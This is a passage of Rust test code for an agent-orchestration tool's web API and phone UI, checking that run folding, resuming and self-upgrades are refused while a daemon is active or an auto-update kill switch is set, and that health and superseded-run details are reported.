9511    #[tokio::test]
9512    async fn deleting_an_unreadable_run_removes_it_wholesale() {
9513        let fx = Fixture::start().await;
9514        let runs = fx.runs();
9515        let wt = fx.home.path().join("wt").join("magi").join("gone");
9516        let id = "20260901-000000-gone";
9517        std::fs::create_dir_all(runs.join(id)).expect("run dir");
9518        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9519        std::fs::create_dir_all(&wt).expect("worktree dir");
9520
9521        let res = fx.delete(&format!("/api/runs/{id}")).await;
9522        assert_eq!(res.status, 204, "{}", res.body);
9523        assert!(!runs.join(id).exists(), "the broken record is gone");
9524        assert!(!wt.exists(), "its worktree is gone too");
9525    }
9526
9527    #[tokio::test]
9528    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
9529        let fx = Fixture::start().await;
9530        let runs = fx.runs();
9531        let id = "20260901-000000-live";
9532        write_run(&runs, id, RunStatus::Implementing);
9533
9534        let mut beat = crate::daemon::Status::new();
9535        beat.current = vec![crate::daemon::Current {
9536            task: "20260901-000000-task".to_owned(),
9537            run: id.to_owned(),
9538        }];
9539        beat.updated_at = jiff::Timestamp::now();
9540        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9541            .expect("publish a heartbeat");
9542
9543        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9544        assert_eq!(res.status, 409);
9545        assert!(
9546            res.json()["error"]
9547                .as_str()
9548                .unwrap()
9549                .contains("live daemon"),
9550            "folding under a running agent would pull its worktree away"
9551        );
9552    }
9553
9554    #[tokio::test]
9555    async fn fold_merged_requires_a_pr_url() {
9556        let fx = Fixture::start().await;
9557        let runs = fx.runs();
9558        let id = "20260901-000000-nourl";
9559        write_run(&runs, id, RunStatus::Blocked);
9560
9561        let res = fx
9562            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
9563            .await;
9564        assert_eq!(res.status, 400, "{}", res.body);
9565
9566        let blank = fx
9567            .post(
9568                &format!("/api/runs/{id}/fold-merged"),
9569                Some(r#"{"pr_url":"   "}"#),
9570            )
9571            .await;
9572        assert_eq!(blank.status, 400, "{}", blank.body);
9573    }
9574
9575    #[tokio::test]
9576    async fn fold_merged_is_404_for_an_unknown_run() {
9577        let fx = Fixture::start().await;
9578        let res = fx
9579            .post(
9580                "/api/runs/nosuchrun/fold-merged",
9581                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9582            )
9583            .await;
9584        assert_eq!(res.status, 404, "{}", res.body);
9585    }
9586
9587    #[tokio::test]
9588    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
9589        let fx = Fixture::start().await;
9590        let runs = fx.runs();
9591        let id = "20260901-000000-livemerge";
9592        write_run(&runs, id, RunStatus::Blocked);
9593
9594        let mut beat = crate::daemon::Status::new();
9595        beat.current = vec![crate::daemon::Current {
9596            task: "20260901-000000-task".to_owned(),
9597            run: id.to_owned(),
9598        }];
9599        beat.updated_at = jiff::Timestamp::now();
9600        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9601            .expect("publish a heartbeat");
9602
9603        let res = fx
9604            .post(
9605                &format!("/api/runs/{id}/fold-merged"),
9606                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9607            )
9608            .await;
9609        assert_eq!(res.status, 409, "{}", res.body);
9610        assert!(
9611            res.json()["error"]
9612                .as_str()
9613                .unwrap()
9614                .contains("live daemon"),
9615            "correcting a run's merge underneath a running agent would race \
9616             whatever it is doing to the same `status`/`merge` fields"
9617        );
9618    }
9619
9620    /// A pull request `gh` cannot even ask about (no such remote, no such
9621    /// repository) must never be recorded as a merge on a guess - the same
9622    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
9623    /// command line, reached here through the phone route instead.
9624    #[tokio::test]
9625    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
9626        let fx = Fixture::start().await;
9627        let runs = fx.runs();
9628        let id = "20260901-000000-unconfirmed";
9629        write_run(&runs, id, RunStatus::Blocked);
9630
9631        let res = fx
9632            .post(
9633                &format!("/api/runs/{id}/fold-merged"),
9634                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9635            )
9636            .await;
9637        assert_eq!(res.status, 400, "{}", res.body);
9638        assert_eq!(
9639            read_run(&runs, id).unwrap().status,
9640            RunStatus::Blocked,
9641            "a pull request that could not be confirmed merged must leave \
9642             the run exactly where it was"
9643        );
9644    }
9645
9646    #[tokio::test]
9647    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
9648        let fx = Fixture::start().await;
9649        let runs = fx.runs();
9650
9651        // Only a finished run and a failed one. An *interrupted* run - a
9652        // parked one, or one whose daemon was killed mid-node - is the case
9653        // resuming exists for: run 4043 sat at `reviewing` with the deck
9654        // saying it could not be resumed, which was the one state where
9655        // resuming was the only sensible answer.
9656        for (status, word) in [
9657            (RunStatus::Merged, "merged"),
9658            (RunStatus::Ready, "ready"),
9659            (RunStatus::Failed, "failed"),
9660        ] {
9661            let id = format!("20260901-000000-{}", &word[..4]);
9662            write_run(&runs, &id, status);
9663            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
9664            assert_eq!(res.status, 409, "{word} must not be resumable");
9665            let err = res.json()["error"].as_str().unwrap().to_owned();
9666            assert!(err.contains(word), "the refusal names the status: {err}");
9667        }
9668
9669        // And an interrupted run is accepted: 202, with the resume running in
9670        // the background. `Runner::resume` fails immediately here - the
9671        // fixture's run points at a repository that does not exist - which is
9672        // the point: the handler must not wait for it to find out.
9673        let mid = "20260901-000000-midf";
9674        write_run(&runs, mid, RunStatus::Reviewing);
9675        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
9676        assert_eq!(res.status, 202, "an interrupted run is resumable");
9677    }
9678
9679    #[tokio::test]
9680    async fn resume_is_refused_while_the_loop_is_running() {
9681        let fx = Fixture::start().await;
9682        let runs = fx.runs();
9683        let stalled = "20260901-000000-stal";
9684        write_run(&runs, stalled, RunStatus::Stalled);
9685
9686        // The loop is busy with a *different* run, and that is still a
9687        // refusal: a manual resume must never race whatever the loop itself
9688        // is already driving, whether that is one run or several.
9689        let mut beat = crate::daemon::Status::new();
9690        beat.current = vec![crate::daemon::Current {
9691            task: "20260901-000000-task".to_owned(),
9692            run: "20260901-000000-othr".to_owned(),
9693        }];
9694        beat.updated_at = jiff::Timestamp::now();
9695        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9696            .expect("publish a heartbeat");
9697
9698        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
9699        assert_eq!(res.status, 409);
9700        let err = res.json()["error"].as_str().unwrap().to_owned();
9701        assert!(err.contains("othr"), "it names what the loop is on: {err}");
9702        assert!(err.contains("stop it first"), "{err}");
9703    }
9704
9705    #[test]
9706    fn a_run_cannot_be_resumed_twice_at_once() {
9707        let home = TempDir::new().expect("temp home");
9708        let ui = Ui::new(
9709            Queue::at(home.path().join("queue")),
9710            Questions::at(home.path().join("questions")),
9711            Talks::at(home.path().join("talks")),
9712            home.path().join("runs"),
9713            home.path().to_path_buf(),
9714            PathBuf::from("/repo"),
9715        )
9716        .with_worktrees_root(home.path().join("wt"));
9717        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
9718        let again = ui.begin_resume("20260901-000000-once");
9719        assert!(again.is_err(), "a second tap must not start a second graph");
9720        drop(first);
9721        assert!(
9722            ui.begin_resume("20260901-000000-once").is_ok(),
9723            "and the claim is released when the attempt ends"
9724        );
9725    }
9726
9727    #[test]
9728    fn talk_thinking_tracks_only_its_held_turn_claim() {
9729        let home = TempDir::new().expect("temp home");
9730        let ui = Ui::new(
9731            Queue::at(home.path().join("queue")),
9732            Questions::at(home.path().join("questions")),
9733            Talks::at(home.path().join("talks")),
9734            home.path().join("runs"),
9735            home.path().to_path_buf(),
9736            PathBuf::from("/repo"),
9737        )
9738        .with_worktrees_root(home.path().join("wt"));
9739        let id = "20260901-000000-once";
9740
9741        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
9742        let turn = ui.begin_talk_turn(id).expect("claim turn");
9743        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
9744        assert!(
9745            !ui.is_thinking("20260901-000000-other"),
9746            "one talk's turn does not make another talk busy"
9747        );
9748        drop(turn);
9749        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
9750    }
9751
9752    #[tokio::test]
9753    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
9754        let fx = Fixture::start().await;
9755        // Somebody else's `magi serve` owns the queue. Replacing this binary
9756        // would leave that process running an old one against the same
9757        // claims, which is worse than refusing.
9758        let mut beat = crate::daemon::Status::new();
9759        beat.pid = 4321;
9760        beat.updated_at = jiff::Timestamp::now();
9761        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9762            .expect("publish a heartbeat");
9763
9764        let res = fx.post("/api/upgrade", None).await;
9765        assert_eq!(res.status, 409);
9766        let err = res.json()["error"].as_str().unwrap().to_owned();
9767        assert!(err.contains("4321"), "the refusal names the owner: {err}");
9768        assert!(err.contains("old one against the same queue"), "{err}");
9769    }
9770
9771    /// [`should_spawn_recheck`] must refuse for the same two reasons
9772    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
9773    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
9774    /// Purely a predicate over config and the environment - no network, no
9775    /// disk, no runtime - so unlike the fixture-based tests around it this
9776    /// one needs neither.
9777    #[test]
9778    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
9779        assert!(!should_spawn_recheck(&crate::config::Update {
9780            mode: UpdateMode::Off,
9781            interval: None,
9782        }));
9783
9784        // SAFETY: single-threaded as far as this variable goes, the same
9785        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
9786        unsafe {
9787            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9788        }
9789        let killed = should_spawn_recheck(&crate::config::Update {
9790            mode: UpdateMode::Notify,
9791            interval: None,
9792        });
9793        unsafe {
9794            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9795        }
9796        assert!(
9797            !killed,
9798            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
9799             one-time startup check"
9800        );
9801
9802        assert!(should_spawn_recheck(&crate::config::Update {
9803            mode: UpdateMode::Notify,
9804            interval: None,
9805        }));
9806    }
9807
9808    /// [`recheck_poll_period`] must track a configured `[update] interval`
9809    /// shorter than its own default ceiling - a fixed sleep here would leave
9810    /// an operator's short interval waiting on the next wake-up instead of on
9811    /// `should_check`, which is the same bug this whole task exists to fix,
9812    /// just one level down.
9813    #[test]
9814    fn recheck_poll_period_tracks_a_short_configured_interval() {
9815        let short = crate::config::Update {
9816            mode: UpdateMode::Notify,
9817            interval: Some("1m".to_owned()),
9818        };
9819        let period = recheck_poll_period(&short);
9820        assert!(
9821            period <= Duration::from_secs(30),
9822            "a one-minute interval must wake the task far sooner than the \
9823             default ceiling, or the deck would not notice within the \
9824             interval the operator configured: got {period:?}"
9825        );
9826
9827        let default = crate::config::Update {
9828            mode: UpdateMode::Notify,
9829            interval: None,
9830        };
9831        assert_eq!(
9832            recheck_poll_period(&default),
9833            UPDATE_RECHECK_POLL_MAX,
9834            "the default day-long interval should poll at the (capped) \
9835             ceiling rather than needlessly often"
9836        );
9837    }
9838
9839    /// [`update_recheck_due`] must not repeat a check made moments ago, the
9840    /// same throttle `updater::Checker::should_check` already gives the
9841    /// CLI's notify mode. Built over an explicit state file via
9842    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
9843    /// write the operator's real `last_update_check.json` - and therefore
9844    /// cannot flake on whatever that file happens to say on the machine
9845    /// running the test.
9846    #[test]
9847    fn recheck_skips_the_network_before_the_interval_elapses() {
9848        let dir = TempDir::new().expect("temp dir");
9849        let path = dir.path().join("state.json");
9850        let state = kaishin::UpdateCheckState {
9851            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
9852            last_known_latest: None,
9853            last_known_url: None,
9854        };
9855        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
9856
9857        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
9858        assert!(
9859            !update_recheck_due(&checker, None),
9860            "a check made moments ago must not be repeated before the \
9861             configured interval elapses"
9862        );
9863    }
9864
9865    /// An upgrade this deck already started must not be raced by a recheck
9866    /// that discovers a newer release mid-install - regardless of what
9867    /// `should_check` says, which is why the state file here is missing
9868    /// entirely: read alone, that alone would answer "never checked, go
9869    /// ahead".
9870    #[test]
9871    fn recheck_defers_to_an_upgrade_already_in_flight() {
9872        let dir = TempDir::new().expect("temp dir");
9873        let path = dir.path().join("state.json");
9874        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
9875        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
9876
9877        assert!(
9878            !update_recheck_due(&checker, Some(&progress)),
9879            "a recheck must not run while an upgrade this deck started is \
9880             still moving"
9881        );
9882    }
9883
9884    #[tokio::test]
9885    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
9886        // The same env var the background check honours (`disabled_by_env`)
9887        // must also stop a button press before it ever calls
9888        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
9889        // means "never contact GitHub from this process", and a tap on the
9890        // upgrade button must not override that any more than a broken
9891        // `magi.toml` may. Left unset, this fixture's default config would
9892        // otherwise reach a real, unauthenticated GitHub call.
9893        //
9894        // SAFETY: single-threaded as far as this variable goes - nothing else
9895        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
9896        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
9897        unsafe {
9898            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9899        }
9900        let fx = Fixture::start().await;
9901        let res = fx.post("/api/upgrade", None).await;
9902        unsafe {
9903            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9904        }
9905        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9906        let body = res.json();
9907        assert!(body["to"].is_null(), "there was no release to move to");
9908        assert!(body["parked"].is_null(), "and nothing was parked");
9909        assert!(
9910            body["detail"]
9911                .as_str()
9912                .unwrap()
9913                .contains("disabled by MAGI_NO_AUTOUPDATE"),
9914            "{body:?}"
9915        );
9916    }
9917
9918    #[tokio::test]
9919    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
9920        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
9921        // and the route answers from its own logic.
9922        //
9923        // This test used to lean on the fixture's placeholder repo failing
9924        // config discovery, which left `mode = "notify"` - and a live,
9925        // unauthenticated call to the GitHub releases API inside a unit test.
9926        // GitHub allows 60 of those an hour per address, so the suite went red
9927        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
9928        // long as somebody kept re-running it: every attempt spent another
9929        // request. Six reruns across four pull requests were charged to that
9930        // before it was read as a rate limit rather than a flake.
9931        //
9932        // What the assertion is about is the "already current" branch, which
9933        // is reached by there being no newer release *or* nowhere to look. The
9934        // second one needs no network and cannot be rate limited.
9935        let repo = TempDir::new().expect("repo dir");
9936        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9937            .expect("write magi.toml");
9938        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9939
9940        // It must answer 200 and leave the process alone: restarting for an
9941        // upgrade that did not happen parks the run in flight and drops every
9942        // connection to pay for nothing. A probe against a deck already on the
9943        // newest build did exactly that, which is how this case got its own
9944        // branch.
9945        let res = fx.post("/api/upgrade", None).await;
9946        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9947        let body = res.json();
9948        assert!(body["to"].is_null(), "there was no release to move to");
9949        assert!(body["parked"].is_null(), "and nothing was parked");
9950        assert!(
9951            body["detail"]
9952                .as_str()
9953                .unwrap()
9954                .contains("nothing restarted"),
9955            "{body:?}"
9956        );
9957    }
9958
9959    #[tokio::test]
9960    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
9961        // `mode = "off"` for the same reason as the test above: a default
9962        // fixture repo falls back to `mode = "notify"`, which would make this
9963        // route's new `update` field a live, unauthenticated GitHub call on
9964        // every assertion in this suite that happens to hit `/api/health`.
9965        let repo = TempDir::new().expect("repo dir");
9966        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9967            .expect("write magi.toml");
9968        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9969
9970        let health = fx.get("/api/health").await.json();
9971        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
9972        assert_eq!(
9973            health["update"]["available"], false,
9974            "checking is off, which reads as \"unknown\", not \"none\""
9975        );
9976        assert!(health["update"]["to"].is_null());
9977        assert!(
9978            health["upgrade"].is_null(),
9979            "nothing has ever asked this deck to upgrade"
9980        );
9981    }
9982
9983    #[tokio::test]
9984    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
9985        let fx = Fixture::start().await;
9986        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
9987
9988        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9989        progress.parked_run = Some("20260905-000000-cd51".to_owned());
9990        progress.advance(crate::updater::Stage::Parking);
9991        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
9992
9993        let health = fx.get("/api/health").await.json();
9994        assert_eq!(health["upgrade"]["stage"], "parking");
9995        assert_eq!(health["upgrade"]["from"], "0.5.1");
9996        assert_eq!(health["upgrade"]["to"], "0.5.2");
9997        let waiting_on = health["upgrade"]["waiting_on"]
9998            .as_str()
9999            .expect("waiting_on is set while parking a known run");
10000        assert!(waiting_on.contains("cd51"), "{waiting_on}");
10001        assert!(waiting_on.contains("implementing"), "{waiting_on}");
10002    }
10003
10004    #[tokio::test]
10005    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
10006        let fx = Fixture::start().await;
10007        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10008        progress.advance(crate::updater::Stage::Done);
10009        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
10010
10011        let health = fx.get("/api/health").await.json();
10012        assert_eq!(health["upgrade"]["stage"], "done");
10013        assert!(
10014            health["upgrade"]["waiting_on"].is_null(),
10015            "nothing to wait on once it is done"
10016        );
10017    }
10018
10019    #[tokio::test]
10020    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
10021        let home = TempDir::new().expect("temp home");
10022        let runs = home.path().join("runs");
10023        std::fs::create_dir_all(&runs).expect("runs dir");
10024        let ui = Ui::new(
10025            Queue::at(home.path().join("queue")),
10026            Questions::at(home.path().join("questions")),
10027            Talks::at(home.path().join("talks")),
10028            runs,
10029            home.path().to_path_buf(),
10030            PathBuf::from("/repo/magi"),
10031        )
10032        .with_launch(launch_idle);
10033        let looping = ui.looping();
10034        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10035            .await
10036            .expect("bind loopback");
10037        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10038
10039        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10040        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
10041
10042        hand_over(home.path(), &looping, served, || Ok(()))
10043            .await
10044            .expect("hand over");
10045
10046        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
10047        assert_eq!(
10048            after.stage,
10049            crate::updater::Stage::Restarting,
10050            "hand_over owns the record through parking and up to restarting; \
10051             the successor is what finishes it"
10052        );
10053    }
10054
10055    #[test]
10056    fn the_upgrade_button_arms_before_it_restarts_anything() {
10057        // It ends the process the operator is talking to, and a phone in a
10058        // pocket taps things. One tap arms, the second commits.
10059        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
10060        assert!(APP_JS.contains("Replace the binary and restart?"));
10061        assert!(APP_JS.contains("function confirmed("));
10062        // Hidden when the loop is somebody else's, matching the 409 above -
10063        // and hidden with nothing to install, matching the 200 "already
10064        // current" branch: an operator on the newest build must not be
10065        // offered a restart that would only park a run for nothing.
10066        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
10067        // A park waits for the node in flight, up to an hour for an implement
10068        // wave. Leaving the button reading "Upgrading…" for that long is the
10069        // same mistake as an error rendered off screen: it looks wedged.
10070        assert!(
10071            APP_JS.contains("Parking, then restarting"),
10072            "the button says what it is waiting for"
10073        );
10074        // And nothing to install must give the button back rather than
10075        // pretending a restart is coming.
10076        assert!(APP_JS.contains("if (!out.to)"));
10077    }
10078
10079    #[test]
10080    fn stopping_the_loop_arms_but_starting_does_not() {
10081        // A stray tap must not leave the queue stopped overnight, so a stop is
10082        // two taps through the same helper the upgrade uses; a start stays one.
10083        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
10084        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
10085        assert!(APP_JS.contains("confirmed(button, question)"));
10086        // The label put back on timeout is the one saved when arming, not a
10087        // hard-coded upgrade caption that would rename the stop button.
10088        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
10089        assert!(APP_JS.contains("const label = btn.textContent;"));
10090        assert!(!APP_JS.contains("Neither direction is guarded"));
10091    }
10092
10093    #[test]
10094    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
10095        assert!(
10096            APP_JS.contains("state.health.version"),
10097            "the operator wants to know what is running even with nothing newer"
10098        );
10099        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
10100    }
10101
10102    #[test]
10103    fn the_upgrade_button_names_its_destination() {
10104        assert!(
10105            APP_JS.contains("`Update to ${update.to}`"),
10106            "pressing the button should not be a surprise about what it moves to"
10107        );
10108    }
10109
10110    #[test]
10111    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
10112        for stage in ["downloading", "replaced", "parking", "restarting"] {
10113            assert!(
10114                APP_JS.contains(&format!("\"{stage}\"")),
10115                "the phone must be able to tell {stage} apart from the others"
10116            );
10117        }
10118        assert!(APP_JS.contains(".waiting_on"));
10119        // What replaced the bare "Cannot reach magi: Failed to fetch": a
10120        // fetch failing while an upgrade is in flight is not an error, it is
10121        // the sub-second gap `bind_waiting` covers, and it must not be
10122        // reported as one.
10123        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
10124        assert!(APP_JS.contains("reconnects on its own"));
10125    }
10126
10127    #[test]
10128    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
10129        // `Stage::Failed` is terminal on the server and nothing clears it on
10130        // its own - not a fresh start, not time passing - so a full-strip
10131        // takeover for it (the way the busy stages take the strip over,
10132        // correctly, because those are transient) would have hidden
10133        // start/stop/park behind an upgrade notice with no way back short of
10134        // a person editing `upgrade.json` by hand or a later release
10135        // happening to succeed. The failure must instead ride along as a note
10136        // next to whatever control the loop's own state already offers.
10137        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
10138            ..APP_JS.find("function upgrade(").expect("upgrade")];
10139        assert!(
10140            !body.contains(
10141                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
10142            ),
10143            "a failed upgrade must not take the whole strip over the way it used to"
10144        );
10145        assert!(
10146            body.contains("upgradeFailNote"),
10147            "the failure has to reach the loop's own note instead"
10148        );
10149        // `quiet` and `control` are the only two places `loop-why` is set from
10150        // this function's own state; both must carry the note through, or a
10151        // future edit to either one would silently drop it again.
10152        assert_eq!(
10153            body.matches("upgradeFailNote].filter(Boolean).join")
10154                .count(),
10155            2,
10156            "both loop-why writers (quiet and control) must fold the note in"
10157        );
10158    }
10159
10160    #[test]
10161    fn an_overdue_upgrade_eventually_asks_for_a_human() {
10162        // The ceiling has to clear a full hour-long park with room to spare,
10163        // or an ordinary implement wave would be reported as a stuck upgrade.
10164        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
10165        assert!(APP_JS.contains("function upgradeOverdue("));
10166    }
10167
10168    #[test]
10169    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
10170        assert!(
10171            APP_JS.contains("Updated to ${upgradeInfo.to"),
10172            "the operator who asked for the restart wants to know it worked"
10173        );
10174    }
10175
10176    #[test]
10177    fn an_error_is_visible_from_where_the_button_is() {
10178        // The alert used to sit in the flow under the header. On a phone
10179        // scrolled 13 500 px down to a run's action sheet that is off screen,
10180        // so tapping Resume and being told "the loop is running run b455
10181        // right now" looked exactly like a button that did nothing.
10182        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
10183            ..APP_CSS.find(".alert-text").expect(".alert-text")];
10184        assert!(
10185            alert.contains("position: fixed"),
10186            "an error about the thing under your thumb has to be visible from \
10187             where your thumb is: {alert}"
10188        );
10189        assert!(
10190            alert.contains("z-index: 25"),
10191            "above the dock (20) and the run-actions FAB (15), so neither \
10192             buries it: {alert}"
10193        );
10194        assert!(
10195            alert.contains("var(--tap)"),
10196            "and clear of the dock and the home indicator: {alert}"
10197        );
10198        // The FAB sits at the same height on the right. An error that covered
10199        // it would hide the button the operator reaches for next.
10200        assert!(
10201            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
10202            "the FAB's column stays free: {alert}"
10203        );
10204    }
10205
10206    #[tokio::test]
10207    async fn an_older_attempt_says_what_replaced_it() {
10208        let fx = Fixture::start().await;
10209        let q = fx.queue();
10210        let runs = fx.runs();
10211        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
10212        write_run(&runs, first, RunStatus::Stalled);
10213        write_run(&runs, second, RunStatus::Blocked);
10214
10215        let mut t = Task::new(
10216            "one task".to_owned(),
10217            "do it".to_owned(),
10218            PathBuf::from("/repo"),
10219            Source::Human,
10220        );
10221        t.runs = vec![first.to_owned(), second.to_owned()];
10222        q.put(&mut t).expect("put");
10223
10224        // Two cards with the same title and no hint which is which was the
10225        // question: "why are there two of the same, one stalled and one
10226        // blocked?" The older one now names its replacement.
10227        let rows = fx.get("/api/runs").await.json();
10228        let by = |short: &str| -> Value {
10229            rows.as_array()
10230                .unwrap()
10231                .iter()
10232                .find(|r| r["short"] == short)
10233                .cloned()
10234                .unwrap_or(Value::Null)
10235        };
10236        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
10237        assert!(
10238            by("bbbb")["superseded_by"].is_null(),
10239            "the latest attempt is not superseded by anything"
10240        );
10241        // Front end: the note has to be rendered, not just carried.
10242        assert!(APP_JS.contains("run.superseded_by"));
10243        assert!(APP_JS.contains("Superseded by"));
10244    }
10245
10246    #[tokio::test]
10247    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
10248        // The list route has known this since the card fix above; the detail
10249        // route — what an operator actually opens from a notification about
10250        // a blocked run — did not, and went on showing a bare red BLOCKED
10251        // chip for a run a retry had already finished.
10252        let fx = Fixture::start().await;
10253        let q = fx.queue();
10254        let runs = fx.runs();
10255        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
10256        write_run(&runs, first, RunStatus::Blocked);
10257        write_run(&runs, second, RunStatus::Merged);
10258
10259        let mut t = Task::new(
10260            "one task".to_owned(),
10261            "do it".to_owned(),
10262            PathBuf::from("/repo"),
10263            Source::Human,
10264        );
10265        t.runs = vec![first.to_owned(), second.to_owned()];
10266        q.put(&mut t).expect("put");
10267
10268        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
10269        assert_eq!(earlier["superseded_by"], "dddd");
10270        assert_eq!(earlier["latest_attempt"]["id"], second);
10271        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
10272        assert_eq!(
10273            earlier["latest_attempt"]["resolved"], true,
10274            "the run that replaced it landed, so this one reads as settled"
10275        );
10276
10277        let later = fx.get(&format!("/api/runs/{second}")).await.json();
10278        assert!(
10279            later["superseded_by"].is_null(),
10280            "the latest attempt is not superseded by anything"
10281        );
10282        assert!(
10283            later["latest_attempt"].is_null(),
10284            "the latest attempt has no later attempt of its own"
10285        );
10286
10287        // Front end: the detail page has to read the field this route now
10288        // carries, downgrade the chip, and link to the run that replaced it —
10289        // not just repeat the list card's own logic under a different name.
10290        // The link is built off `latest_attempt.id`, the server-resolved
10291        // full id, never a bare short string a client would have to guess a
10292        // full run from.
10293        assert!(APP_JS.contains("run.latest_attempt"));
10294        assert!(APP_JS.contains("data-superseded"));
10295        assert!(APP_JS.contains("#/runs/${latest.id}"));
10296    }
10297
10298    #[tokio::test]
10299    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
10300        // A -> B -> C, all Blocked except the last. A's immediate successor
10301        // (superseded_by) is B, which is itself unresolved; what an operator
10302        // opening A's page actually needs is where the task's story stands
10303        // *now* - C, not B - without depending on whether C happens to be in
10304        // whatever page of /api/runs the client last cached.
10305        let fx = Fixture::start().await;
10306        let q = fx.queue();
10307        let runs = fx.runs();
10308        let (a, b, c) = (
10309            "20260901-000000-aaaa",
10310            "20260901-000000-bbbb",
10311            "20260901-000000-cccc",
10312        );
10313        write_run(&runs, a, RunStatus::Blocked);
10314        write_run(&runs, b, RunStatus::Blocked);
10315        write_run(&runs, c, RunStatus::Merged);
10316
10317        let mut t = Task::new(
10318            "retried twice".to_owned(),
10319            "do it".to_owned(),
10320            PathBuf::from("/repo"),
10321            Source::Human,
10322        );
10323        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
10324        q.put(&mut t).expect("put");
10325
10326        let view = fx.get(&format!("/api/runs/{a}")).await.json();
10327        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
10328        assert_eq!(
10329            view["latest_attempt"]["id"], c,
10330            "the chain's current head, not the intermediate Blocked retry"
10331        );
